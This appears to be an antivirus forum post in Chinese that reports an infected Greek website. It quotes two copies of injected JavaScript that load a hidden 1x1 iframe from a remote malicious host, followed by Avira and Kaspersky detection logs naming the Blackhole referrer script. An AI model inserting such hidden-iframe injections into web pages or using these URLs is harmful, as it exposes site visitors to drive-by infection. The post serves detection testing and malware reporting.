裏面

fireold

1. http://fuitplus.gr/travel/itemlist/tag/Ã&A=

复制代码

1. (function() {
   
2.     var jz = document.createElement('iframe');
   
3. 
   
4.     jz.src = 'http://ageseoils.com/counter.php';
   
5.     jz.style.position = 'absolute';
   
6.     jz.style.border = '0';
   
7.     jz.style.height = '1px';
   
8.     jz.style.width = '1px';
   
9.     jz.style.left = '1px';
   
10.     jz.style.top = '1px';
    
11. 
    
12.     if (!document.getElementById('jz')) {
    
13.         document.write('<div id=\'jz\'></div>');
    
14.         document.getElementById('jz').appendChild(jz);
    
15.     }
    
16. })();

复制代码

1. (function() {
   
2.     var ves = document.createElement('iframe');
   
3. 
   
4.     ves.src = 'http://ageseoils.com/counter.php';
   
5.     ves.style.position = 'absolute';
   
6.     ves.style.border = '0';
   
7.     ves.style.height = '1px';
   
8.     ves.style.width = '1px';
   
9.     ves.style.left = '1px';
   
10.     ves.style.top = '1px';
    
11. 
    
12.     if (!document.getElementById('ves')) {
    
13.         document.write('<div id=\'ves\'></div>');
    
14.         document.getElementById('ves').appendChild(ves);
    
15.     }
    
16. })();

复制代码

Avira

2013/8/6 上午 06:02 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\5TH1K21Z\&amp;amp;amp;amp;amp;amp;Atilde;&amp;amp;amp;amp;
      amp;amp;A=[1].htm'
      包含病毒或有害的程式 'JS/BlacoleRef.W.266' [virus]
      已採取動作：
      發生錯誤，檔案未刪除。錯誤識別碼：26003.
      檔案無法刪除！.
      嘗試使用 ARK 程式庫執行動作。.
      檔案會移動至 '1dfafc8d.qua' 名稱底下的隔離區目錄。.

2013/8/6 上午 06:02 [System Scanner] 掃描
      掃描結束 [已完成全部的掃描。]。
      檔案數：        848
      目錄數：        0
      惡意程式碼數：        2
      警告數：        0

2013/8/6 上午 06:02 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\5TH1K21Z\xtcMenu[1].js'
      包含病毒或有害的程式 'JS/BlacoleRef.W.266' [virus]
      已採取動作：
      檔案會移動至 '573c8f7f.qua' 名稱底下的隔離區目錄。.

2013/8/6 上午 06:02 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\VUGD722P\AC_OETags[1].js'
      包含病毒或有害的程式 'JS/BlacoleRef.W.266' [virus]
      已採取動作：
      檔案會移動至 '57fa810b.qua' 名稱底下的隔離區目錄。.

2013/8/6 上午 06:02 [System Scanner] 掃描
      掃描結束 [已完成全部的掃描。]。
      檔案數：        847
      目錄數：        0
      惡意程式碼數：        1
      警告數：        0

2013/8/6 上午 06:00 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\VUGD722P\AC_OETags[1].js 中
      偵測到病毒或有害的程式 'JS/BlacoleRef.W.266 [virus]'
      執行的動作：傳輸至掃描程式

2013/8/6 上午 06:00 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\5TH1K21Z\xtcMenu[1].js 中
      偵測到病毒或有害的程式 'JS/BlacoleRef.W.266 [virus]'
      執行的動作：傳輸至掃描程式

2013/8/6 上午 06:00 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\VUGD722P\AC_OETags[1].js 中
      偵測到病毒或有害的程式 'JS/BlacoleRef.W.266 [virus]'
      執行的動作：拒絕存取

2013/8/6 上午 06:00 [Web Protection] 發現惡意程式碼
      從 URL
      "http://fuitplus.gr/modules/mod_pagepeel_banner/pagepeel_banner/AC_OETags.js"
      存取資料時，
      發現病毒或有害的程式 'JS/BlacoleRef.W.266' [virus]。
      已採取動作：已略過

2013/8/6 上午 06:00 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\5TH1K21Z\xtcMenu[1].js 中
      偵測到病毒或有害的程式 'JS/BlacoleRef.W.266 [virus]'
      執行的動作：拒絕存取

2013/8/6 上午 06:00 [Web Protection] 發現惡意程式碼
      從 URL "http://fuitplus.gr/templates/fuitplus/js/xtcMenu.js" 存取資料時，
      發現病毒或有害的程式 'JS/BlacoleRef.W.266' [virus]。
      已採取動作：已略過

2013/8/6 上午 06:00 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\5TH1K21Z\&amp;amp;amp;amp;amp;amp;Atilde;&amp;amp;amp;amp;
      amp;amp;A=[1].htm 中
      偵測到病毒或有害的程式 'JS/BlacoleRef.W.266 [virus]'
      執行的動作：傳輸至掃描程式

2013/8/6 上午 05:59 [Web Protection] 發現惡意程式碼
      從 URL
      "http://fuitplus.gr/travel/itemlist/tag/&amp;amp;amp;amp;amp;amp;Atilde;&amp;amp
      ;amp;amp;amp;amp;A=" 存取資料時，
      發現病毒或有害的程式 'JS/BlacoleRef.W.266' [virus]。
      已採取動作：已略過

zst470396853

卡巴 启发 拦截

卡巴斯基安全部队
2013
拒绝访问
无法访问该网页

请求对象位于网址：

http://fuitplus.gr/travel/itemlist/tag/&
amp;amp;amp;amp;amp;amp;atilde;&
amp;amp;amp;amp;amp;amp;a=

已检测到的威胁:

对象感染源 HEUR:Trojan.Script.Generic